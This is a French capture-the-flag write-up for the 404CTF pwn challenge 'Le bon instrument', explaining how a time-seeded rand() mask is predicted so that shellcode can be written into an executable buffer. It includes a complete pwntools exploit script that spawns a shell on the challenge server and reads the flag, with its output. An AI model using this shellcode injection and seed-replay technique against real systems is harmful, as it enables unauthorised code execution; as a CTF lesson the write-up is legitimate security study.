Challenge Le bon instrument

https://ctf.404ctf.fr/challenges#Le%20bon%20instrument-230

La cible propose une interaction avec 4 objets virtuels :

  • une horloge, qui appelle srand()
  • une imprimante, qui permet un buffer overflow sur la pile
  • une boussole, qui donne un leak compliqué à base d’aléatoire
  • une fourchette, qui permet d’exécuter le code contenu dans sa description (!)

Je pense que c’était un challenge anti IA car il y avait pas mal de fausses pistes :

  • une fonction clock() appelée souvent qui appelle srand()
  • un buffer overflow dans printer_effet (il y a un canary)
  • un leak compliqué dans boussole (il faudrait bruteforcer l’adresse en mémoire en jouant avec les rand())
  • des objets qui sont parfois des allocations, parfois non
  • une routine destroy() suspecte qui sent l’use after free

Bref, pour passer derrière les écrans de fumée on va partir de la fin. On remarque que fork_effet() appelle comme code le contenu dans instrument->description quand instrument->uses <= 0. Les développeurs étant assez gentils pour rendre la page exécutable :

mprotect((void *)((long long)instruments[3]->description & 0xfffffffffffff000), 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);

On peut mettre à jour cette description, mais notre saisie est modifiée par des valeurs aléatoires. Le seed est basé sur le temps, défini juste avant. C’est trivial de rejouer les rand() et deviner les valeurs que le programme va utiliser. On peut donc y écrire ce que l’on veut en déjouant cette “protection”.

Pas besoin de leak, un vieux shellcode avec les arguments sur la pile suffit.

$ ./exploit.py REMOTE
[+] Opening connection to spawn.404ctf.fr on port 10307: Done
[*] Switching to interactive mode
Cette fourchette m'a l'air bien radioactive
Linux localhost 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 GNU/Linux
404CTF{T1c----t4C-----bo0Om}
$
  • mandragore, 2026/05/08
#!/usr/bin/env python3

from pwn import *
from ctypes import CDLL
import time
#sys.tracebacklimit = 0  # yeah I know it crashed

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#context.terminal = ['lxterminal','--geometry=100x100','-e']

elf = ELF('./chall_patched', checksec=False)

if args.DBG:
    context.log_level = 'debug'
else:
    context.log_level = 'info'

if args.REMOTE:
    p = remote('spawn.404ctf.fr', 10307)
else:
    if args.GDB:
        p = gdb.debug(elf.path,gdbscript='''
            # break *printer_effet+0x49
            # break *destroy
            break *fork_effet+0x48
            continue
        ''')
    else:
        p = process(elf.path)


p.recvuntil(b'Abandonner\n')

# reduce universe entropy 
payload=asm(shellcraft.sh()).ljust(0x40,b'\x90')
assert len(payload)<=0x40,"payload is too long"
changeme=list(payload)
ctypes_libc = CDLL("libc.so.6")
ctypes_libc.srand(int(time.time()))
for i in range(len(changeme)):
    r = ctypes_libc.rand() % 256
    changeme[i] = (changeme[i] - r) % 256
payload=bytes(changeme)
p.sendline(b'3')
p.sendlineafter(b'description ?\n',b'4')
p.sendlineafter(b'mettre ?\n',payload)
p.recvuntil(b'Abandonner\n')

# use forks  -= -= -=
p.sendline(b'1')
leak=p.recvuntil(b'Abandonner\n')
forkuse=int(leak.split(b'- 4 : \n')[1].split(b'\n')[2].split(b' : ')[1])
for i in range(forkuse):
    p.sendline(b'2')
    p.sendlineafter(b'utiliser ?\n',b'4')
    p.recvuntil(b'Abandonner\n')

# fasten your seat belts
p.sendline(b'2')
p.sendlineafter(b'utiliser ?\n',b'4')

p.sendline(b'uname -a;cat flag.txt;echo')
p.interactive()

This site uses Just the Docs, a documentation theme for Jekyll.